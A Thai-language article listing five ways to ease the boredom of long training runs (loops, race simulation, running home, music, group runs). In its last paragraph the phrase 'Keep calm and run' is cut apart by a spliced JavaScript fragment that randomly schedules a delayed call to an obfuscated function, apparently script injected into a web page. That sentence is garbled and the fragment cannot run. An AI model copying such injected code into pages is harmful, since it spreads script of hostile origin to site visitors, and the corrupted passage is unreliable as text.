การวิ่ง Long Run คือหนึ่งในตารางฝึกวิ่งที่นักวิ่งต้องเจอทุกคน เมื่อก้าวเข้าสู่การวิ่งระยะไกล ตั้งแต่ระยะฮาร์ฟมาราธอนไปจนถึงระยะมาราธอน การวิ่ง Long Run เป็นสิ่งที่ขาดไม่ได้ การฝึกวิ่งจะช่วยให้ร่างกายเรายืนระยะได้มากขึ้น สร้างความทนทานให้กล้ามเนื้อ และปรับระบบ cardio ให้แกร่งขึ้น ช่วยฝึกจำลองสถานการณ์จริงที่จะเกิดขึ้น แต่สิ่งหนึ่งที่เราไม่ชอบกัน นั้นคือ มันกินระยะเวลานานหลายกิโลเมตรและหลายชั่วโมง
5 วิธีสลายความน่าเบื่อของการวิ่ง Long Run
1. วิ่งวนเป็นลูปๆ พยายามมองหาเส้นทางวิ่งที่มีรอบวิ่งสัก 2-4 กิโลเมตรดู เพราะการวิ่งวนเป็นรอบๆ เป็นลูปๆ จะช่วยทำให้เราสามารถบิดความนึกคิดด้านลบ ความกลัวและความรู้สึกเกี่ยวกับระยะทางที่ต้องวิ่งลงไปได้ ความรู้สึกว่ามันไกลมาก ย่อให้เหลือเป็นการนับจำนวนรอบแทน ทุกรอบที่วิ่งครบคือการผ่านเส้นชัย การวนหลายๆ รอบๆ คือชัยชนะที่ค่อยๆ เพิ่มพลังใจขึ้นเรื่อยๆ แถมข้อดีคือสามารถตั้งน้ำและผ้าเช็ดตัวไว้ค่อย refuel ร่างกายใหม่ได้ทุกรอบ
2. จำลองสนามเหมือนการวิ่งแข่งขันจริง เช่นการฝึกตั้งแต่การเตรียมตัวก่อนออกวิ่ง การคัดเลือกเสื้อผ้า อาหารการกิน มื้อก่อนวิ่งและระหว่างวิ่ง การเตรียมน้ำดื่มและการเติมเกลือแร่ หากสนามวิ่งแข่งขันต้องมีการวิ่งไต่เขา ก็ให้ย่อยการวิ่งเป็นส่วนๆ ส่วนที่วิ่งทางราบก็วิ่งตามปกติแต่ส่วนที่ต้องวิ่งไต่เขา ให้วิ่งเข้าโรงยิม ปรับ treadmill ให้มีองศาชันตามสนามแข่งจริง พอไต่เสร็จแล้วก็ออกมาวิ่งทางราบธรรมดาต่อ
3. วิ่งผจญภัย การวิ่งครั้งนี้คือการวิ่งกลับบ้าน นั่งแท็กซี่ออกไปยังจุดเริ่มต้น มระยะทางก็ตามที่กำหนดไว้ แต่คุณต้องมีอุปกรณ์เสริมอย่าง เป้น้ำ หมวก มือถือหรือนาฬิกาวิ่ง GPS และเสบียงอาหารที่จำเป็น เสมือนคุณออกไปวิ่งเทรล แต่นี้คือการวิ่งหาทางกลับบ้าน
4. ฟังดนตรี เพราะการฟังดนตรีจะช่วยกล่อมสมอง ช่วยปรับจังหวะการวิ่ง มีผลต่อการกระตุ้นแรงใจ เพลงที่มีจังหวะ Beat สูงจะเร่งให้เราวิ่งเร็ว ถ้ามี Beat ต่ำ จะช่วยให้เราวิ่งช้าลง นอกเหนือจากบทเพลงแล้ว ทดลองฟัง Podcast หรือบทความอื่นๆ ก็จะช่วยดึงความสนใจและฆ่าเวลาได้
5. วิ่งกับทีม วิ่งกับเพื่อน เพราะการฝึกวิ่งระยะไกลจะสนุกกว่าเดิมมากถ้าคุณมีกลุ่มเพื่อนร่วมฝึกซ้อมด้วยกัน การวิ่งจะทำให้เราได้ฝึกปรับความเร็วตาม Pace ของผู้นำ ซึ่งจะมีการเปลี่ยนแปลงตลอดเวลา เหมือนกับการแข่งขันจริง การฝึกแบนี้เรียกว่า เพื่อนลากเพื่อน ซึ่งจะไปได้ไกลและทำเวลาวิ่งได้เร็วขึ้น
ตบท้ายกันสักนิดสำหรับการวิ่ง Long Run ระยะทางจะสำคัญกว่าเวลา เราไม่จำเป็นต้องเร่งรีบวิ่งทำความเร็วให้เหมือนกับนักวิ่งในงานแข่ง จำไว้ว่าการฝึกวิ่ง Long Run คือการฝึกให้ร่างกายสามารถทนทานต่อระยะทางที่เพิ่มขึ้น เมื่อสามารถวิ่งได้อย่างต่อเนื่องตามระยะทางที่ตั้งไว้ เราค่อยมาฝึกในเรื่องการใช้ความเร็วอีกที่ Keep claim andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and run ครับ ค่อยๆ พัฒนาตัวเองไปเรื่อยๆ การเร่งจะทำให้ร่างกายบาดเจ็บเสียเปล่า
อ้างอิง www.runnersworld.com/
